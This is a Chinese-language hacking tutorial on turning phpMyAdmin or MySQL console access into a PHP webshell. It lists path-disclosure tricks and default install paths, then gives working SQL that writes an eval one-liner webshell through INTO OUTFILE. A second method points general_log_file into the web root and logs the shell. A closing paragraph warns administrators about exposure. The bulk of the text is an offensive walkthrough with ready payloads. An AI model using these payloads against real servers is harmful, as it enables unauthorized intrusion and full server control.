phpmyadmin注入webshell总结

0x00 前言

有时候,我们扫到了暴露在公网的phpmyadmin页面,并且能爆破出密码时,我们就可以对目标数据库做一些操作了,这个时候我们想进一步拿到webshell,就有很多种办法可以尝试。

以下技巧不仅仅能在已经进入phpmyadmin的情况下使用,其他的管理系统或者只要是拥有一定权限的mysql执行环境都可以使用。

0x01 寻找物理路径

我们进入phpmyadmin之后想要写webshell,得先知道网站物理路径,才能通过其他办法将构造好的一句话木马写入。所以第一步就是寻找物理路径。

phpinfo泄露

物理路径大多是一些页面未作限制导致敏感信息泄露的,所以我们首先从敏感信息泄露入手,方法一般为扫网站目录,如果能得到phpinfo等敏感文件,就很容易得到物理路径。

错误页面泄露

有的网站,访问错误页面会提示网站路径,也可以在这方面入手。

想要找到网站错误页面,可以尝试:

  • 单引号爆路径: 在页面后门加单引号,如果网站没有过滤单引号且产生错误,一般会返回错误页面可以读取到物理路径。
  • 错误参数值爆路径: 在可以post参数的位置,提交错误参数使网站出错,有时会得到物理路径。
  • Google爆路径: 通过google语法搜索对应网站包含warning、fatal error的页面,如Site:xxx.com warning和Site:xxx.com.cn “fatal error”,很容易找到错误路径。
  • 错误解析爆路径: 很多服务器,如果访问一个不存在的php页面等因为不存在而无法解析的页面,会返回解析错误页面,会得到物理路径。

phpmyadmin爆路径

找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。

如:

  • 1./phpmyadmin/libraries/lect_lang.lib.php
  • 2./phpMyAdmin/index.php?lang[]=1
  • 3./phpMyAdmin/phpinfo.php
  • 4.load_file()
  • 5./phpmyadmin/themes/darkblue_orange/layout.inc.php
  • 6./phpmyadmin/libraries/select_lang.lib.php
  • 7./phpmyadmin/libraries/lect_lang.lib.php
  • 8./phpmyadmin/libraries/mcrypt.lib.php

猜路径

如果上述方法都没有找到物理路径,我们就得开始猜路径了。

可以通过常用的网站套件默认路径来猜,如:

  • lamp套件: /var/www/html/index.php
  • lnmp套件: /home/wwwroot/default
  • wamp套件: C:/wamp/www或者D:/wamp/www
  • iis服务器: D:/vhost/wwwroot/www
  • phpstudy套件: D:/phpstudy/www

还有非常多,可以自己根据实际情况去搜索。

0x02 直接写出文件

物理路径知道了,这个时候我们该在可以访问的物理路径上写webshell了。

首先我们要确认mysql是否有写文件的权限,可以通过访问secure-file-priv来查看是否有写文件的权限:

1
show variables like '%secure%'

可以看到我本机的情况是只能在F:/wamp/tmp文件夹下进行写文件,这里secure-file-priv有三种情况:

  • NULL: 没有任何路径的写权限。
  • ‘’: 拥有任何路径的写权限。
  • F:/wamp/tmp一类的文件路径: 仅在规定路径下有写权限。

我们这里如果想直接写文件,需要在www目录下有写权限,为了查看效果,我们先将secure-file-priv改成’’来尝试一下直接写文件。

要注意,在root账户下的mysql中,也是无法直接对secure-file-priv进行更改的,要更改secure-file-priv,需要打开my.ini文件,将secure_file_priv的值更改,我们在这里将原本的secure-file-priv注释掉,然后写

1
secure_file_priv=""

然后我们在phpmyadmin的mysql控制台输入:

1
2
3
Create TABLE shell (webshell text NOT NULL);
Insert INTO shell (webshell) VALUES('<?php @eval($_POST[123456]);?>');
select webshell from shell into outfile 'F:/wamp/www/eval.php';

然后通过菜刀访问:

0x03 使用log文件

那么如果是一般的情况,我们只有其他路径权限或者完全没有写权限的时候该怎么做呢?此时有个奇淫技巧,就是使用log文件来写一句话木马。

phpmyadmin有一个负责mysql日志的文件,通常是关闭的,因为如果一直打开,这个文件随着mysql的查询会变的非常非常的巨大,只有调试时才会有管理员打开。

不过不同于上面的secure-file-priv无法通过mysql的root账户更改,这个功能是可以直接在mysql的root账户更改的。

首先我们查看一下这个功能相关的变量:

1
show variables like '%general_log%'

可以看到两个变量,其中general_log代表日志功能的开关,general_log_file代表日志功能存储的位置,这都是我们可控的变量,现在我们就要把general_log_file改到可以访问的网站目录中的文件,并且把日志功能开启。

1
2
set global general_log_file="F:/wamp/www/shell.php"
set global general_log="ON"

此时我们就打开了日志功能并且将日志保存路径切换到网站根目录下的shell.php

然后我们只需要查询一个一句话木马(注意这里用双引号单引号混用的方法构造select,否则写在日志文件中php会解析错误):

1
SELECT '<?php @eval($_POST["123456"]);?>';

就可以通过菜刀连接木马:

0x04 总结

从这次的思路看,如果我们拿到phpmyadmin或者其他的数据库管理工具,甚至直接拿到mysql控制台权限,都可以尝试进一步拿到webshell,而且很可能权限还非常高,可以进一步控制整个服务器。所以将phpmyadmin等页面暴露在公网是十分危险的。

而且一直以来有很多网站管理员觉得服务器报错之后暴露些物理路径之类的东西无伤大雅,就不写专用的404页面,但是这次的思路也证明了,你的任何一个小失误,都有可能成为黑客入侵的助力,在敏感信息泄露和未授权访问等问题上一定要谨慎。